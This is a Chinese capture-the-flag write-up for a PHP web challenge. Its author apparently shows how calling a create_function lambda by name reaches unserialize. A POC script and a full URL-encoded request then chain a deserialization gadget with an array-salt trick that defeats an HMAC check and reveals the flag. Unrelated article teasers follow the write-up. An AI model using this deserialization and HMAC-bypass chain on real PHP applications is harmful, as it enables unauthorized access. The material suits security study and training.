2023年江西省“振兴杯”网络信息行业职业技能竞赛 Web4 Writeup

这次振兴杯碰到的一道题,某些姿势之前貌似没有碰过,简单记一下吧

源码

<?php
class Bird{
    public $funcs;
    public $salt;
    public $flag;

    function say_flag(){
        $secret = hash_hmac('sha256', $_GET['salt'], file_get_contents('/flag'));
        $hmac = hash_hmac('sha256', $_GET['password'], $secret);
        if($_GET['mac'] === $hmac){
            show_source("/flag");
        }
    }
    function __destruct(){
        $self_func=$this->funcs;
        $self_func();
    }
}

if(isset($_GET['p'])){
    $funcs = create_function("","unserialize(\$_GET['d']);");
    $_GET['p']();
}else{
    show_source(__FILE__);
}

在这里插入图片描述
create_function("","unserialize(\$_GET['d']);"); 的考点是利用匿名函数,可以参考:https://www.cnblogs.com/leixiao-/p/9818602.html

create_function的匿名函数也是有名字的,名字是\x00lambda_%d,其中%d代表他是当前进程中的第几个匿名函数。调用匿名函数,传入d参数进行反序列化

构造POC

<?php 
class Bird{
    public $funcs;
    public $salt;
    public $flag;

    function say_flag(){
        echo "-------say_flag-------";
        // $secret = hash_hmac('sha256', $_GET['salt'], file_get_contents('/flag'));
        // $hmac = hash_hmac('sha256', $_GET['password'], $secret);
        // if($_GET['mac'] === $hmac){
        //     show_source("/flag");
        // }
    }
    function __destruct(){
        $self_func=$this->funcs;
        $self_func();
    }
}

$Bird = new Bird();
$Bird->funcs = [new Bird(),'say_flag'];
echo urlencode(serialize($Bird));
 ?>

而哈希处理,对$_GET['salt']传数组即可,使得$secretNULL,进而使得$hmac可控

?p=%00lambda_1&d=O%3A4%3A%22Bird%22%3A3%3A%7Bs%3A5%3A%22funcs%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A4%3A%22Bird%22%3A3%3A%7Bs%3A5%3A%22funcs%22%3BN%3Bs%3A4%3A%22salt%22%3BN%3Bs%3A4%3A%22flag%22%3BN%3B%7Di%3A1%3Bs%3A8%3A%22say_flag%22%3B%7Ds%3A4%3A%22salt%22%3BN%3Bs%3A4%3A%22flag%22%3BN%3B%7D&salt[]=&password=mochu7&mac=c35b38d9886ca1852ac7a27a016721bf3de37a2c9231d96bc89ee3ab4d366067

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/215613.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

开源数据大屏系统介绍

睿思BI数据大屏系统现已开源&#xff0c;通过拖拽配置的方式构建大屏&#xff0c;支持零代码开发。并且包含大量大屏模版&#xff0c;方便用户快速创建大屏应用。 系统主要包括数据准备、大屏设计、权限管理3个部分内容。 1.数据准备 1.1 创建数据源&#xff1a;定义BI系统链…

PHP使用HTTP代码示例模板

PHP是一种广泛用于服务器端的编程语言&#xff0c;它提供了许多内置的函数和扩展&#xff0c;以便开发人员能够轻松地处理HTTP请求和响应。在PHP中&#xff0c;您可以使用以下代码示例模板来处理HTTP请求和生成HTTP响应。 php复制代码 <?php // 处理GET请求 if ($…

计算机组成学习-存储系统总结

复习本章时&#xff0c;思考以下问题&#xff1a; 1)存储器的层次结构主要体现在何处&#xff1f;为何要分这些层次&#xff1f;计算机如何管理这些层次&#xff1f;2)存取周期和存取时间有何区别&#xff1f;3)在虚拟存储器中&#xff0c;页面是设置得大一些好还是设置得小一…

园区无线覆盖方案(智慧园区综合解决方案)

​ 李经理正苦恼头疼的工业园区数字化改造项目。近年企业快速增长,园区内Argent工业设备激增,IT部门应接不暇。为确保生产系统稳定运行,IT管理团队经过反复摸索,决定进行全面的数字化升级。然而改造之艰巨远超想象——混杂的接入环境、复杂的专线部署、长达数月的建设周期,种种…

法律情境扮演、逆向推理文字游戏、AIGC创作……见证AI极致生产力!

飞桨星河社区&#xff0c;以飞桨和文心大模型为核心&#xff0c;集开放数据、开源算法、云端GPU算力及大模型开发工具于一体&#xff0c;在大模型范式下&#xff0c;为开发者提供模型与应用的高效开发环境。在成立的5年以来&#xff0c;已汇集660万AI开发者&#xff0c;覆盖深度…

LLM之RAG实战(一):使用Mistral-7b, LangChain, ChromaDB搭建自己的WEB聊天界面

一、RAG介绍 如何使用没有被LLM训练过的数据来提高LLM性能&#xff1f;检索增强生成&#xff08;RAG&#xff09;是未来的发展方向&#xff0c;下面将解释一下它的含义和实际工作原理。 ​ 假设您有自己的数据集&#xff0c;例如来自公司的文本文档。如何让ChatGPT和其他…

中级工程师评审条件:如何成为一名合格的中级工程师

作为一名工程师&#xff0c;不仅需要具备扎实的技术基础和实践能力&#xff0c;还需要通过评审来证明自己的能力水平。在成为一名合格的中级工程师之前&#xff0c;你需要满足一系列评审条件。甘建二今天将详细介绍中级工程师评审的要求和标准&#xff0c;帮助你成为更优秀的工…

基于java技术的电子商务支撑平台

摘 要 随着网络技术的发展&#xff0c;Internet变成了一种处理日常事务的交互式的环境。互联网上开展各种服务已经成为许多企业和部门的急切需求。Web的普遍使用从根本上改变了人们的生活方式、工作方式&#xff0c;也改变了企业的经营方式和服务方式。人们可以足不出户办理各…

BLIP和BLIP2

1.BLIP BLIP的第一个共享是将图像文本理解与图像文本生成任务进行了统一&#xff0c;形成了多模态统一模型&#xff0c;模型在ITC任务上的效果也比CLIP更好。 1.1任务 ITC&#xff1a;就是CLIP中的图像文本对比学习任务 ITM&#xff1a;针对ITC任务中匹配不正确的样本&#…

大数据|计算机毕业设计——基于Django协同过滤算法的房源可视化分析推荐系统的设计与实现

大数据|计算机毕业设计——基于Django协同过滤算法的房源可视化分析推荐系统的设计与实现 技术栈&#xff1a;大数据爬虫/机器学习学习算法/数据分析与挖掘/大数据可视化/Django框架/Mysql数据库 本项目基于 Django框架开发的房屋可视化分析推荐系统。这个系统结合了大数据爬…

3D旋转tab图

上图 代码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>3D旋转tab图</title><style>* {margin: 0;padding: 0;}body {height: 100vh;background: linear-gradient(to top, #29323c, #…

办公室状态公告系统保护涉密和高级领导办公室

天纵办公室状态公告系统通过在办公室外设置一个公告屏的方式告诉来访者办公室目前的使用状态&#xff0c;以防来访者盲目敲门影响办公室内领导的工作。主要用于高级领导办公室、涉密办公室等重要场所。 天纵办公室状态公告系统可能通过触摸电脑、平板或机械按钮等方式控制室外公…

有哪些电话销售的经验值得分享?

有哪些电话销售的经验值得分享&#xff1f; 电话销售&#xff0c;这是一项挑战与机遇并存的行业。它不仅要求你具备良好的沟通技巧和专业知识&#xff0c;更需要你有足够的耐心和热情。以下是一些值得分享的电话销售经验&#xff0c;帮助你更好地开展销售工作。 1. 精心准备。…

深度学习——第3章 Python程序设计语言(3.3 Python数据类型)

3.3 Python数据类型 目录 1. Python数值数据类型 2. Python库的导入和使用 3. Python序列数据类型 4. Python组合数据类型 计算机能处理各种类型的数据&#xff0c;包括数值、文本等&#xff0c;不同的数据属于不同的数据类型&#xff0c;有不同的存储方式&#xff0c;支持…

AndroidStudio - 新版本 Logcat 使用详解

最近这俩天正好有时间给自己做一下减法&#xff0c;忘记是去年还是今年&#xff0c;在升级 AndroidStudio 后使用 Logcat查看日志的方式也发生了一些变化&#xff0c;虽然一直在使用&#xff0c;但每当看到之前还未关闭 Logcat 命令行工具额昂也&#xff0c;就感觉可能还存在知…

广州找工作用什么软件

广州吉鹿力招聘网是一个很好的广州找工作网站&#xff0c;它提供了丰富的招聘信息&#xff0c;并且有专业的招聘团队负责筛选简历。广州吉鹿力招聘网在广州市的招聘市场上有着较高的知名度和影响力&#xff0c;用户可以通过广州吉鹿力招聘网了解最新的招聘信息&#xff0c;找到…

Android studio版本对用的gradle版本和插件版本(注意事项)

简介 Android Studio 构建系统以 Gradle 为基础&#xff0c;并且 Android Gradle 插件添加了几项专用于构建 Android 应用的功能。虽然 Android 插件通常会与 Android Studio 的更新步调保持一致&#xff0c;但插件&#xff08;以及 Gradle 系统的其余部分&#xff09;可独立于…

行业分析:2023年智能自动化药房市场现状及发展前景

医药电商是近些年的行业风口&#xff0c;尤其是随着大型互联网平台的介入和互联网医院的兴起&#xff0c;医药电商步入高速增长期。第三方交易服务平台在医药电商的销售额占比为58%&#xff0c;而到了2020年下降至40%。在终端销售额中&#xff0c;大型医院占据了59.7%的份额&am…

你不得不知道的工业镜头使用中的常见问题

镜头的基本功能就是实现光束变换&#xff08;调制&#xff09;&#xff0c;在机器视觉系统中&#xff0c;工业镜头的主要作用是将目标成像在图像传感器的光敏面上。工业镜头是机器视觉系统设计的重要环节。在实际应用过程中&#xff0c;会遇到以下常见问题。 1、Q&#xff1a;…

【EI会议征稿】第三届图像,信号处理与模式识别国际学术会议(ISPP 2024)

第三届图像&#xff0c;信号处理与模式识别国际学术会议&#xff08;ISPP 2024) 2024 3rd International Conference on Image, Signal Processing and Pattern Recognition&#xff08;ISPP 2024&#xff09; 第三届图像&#xff0c;信号处理与模式识别国际学术会议&#xf…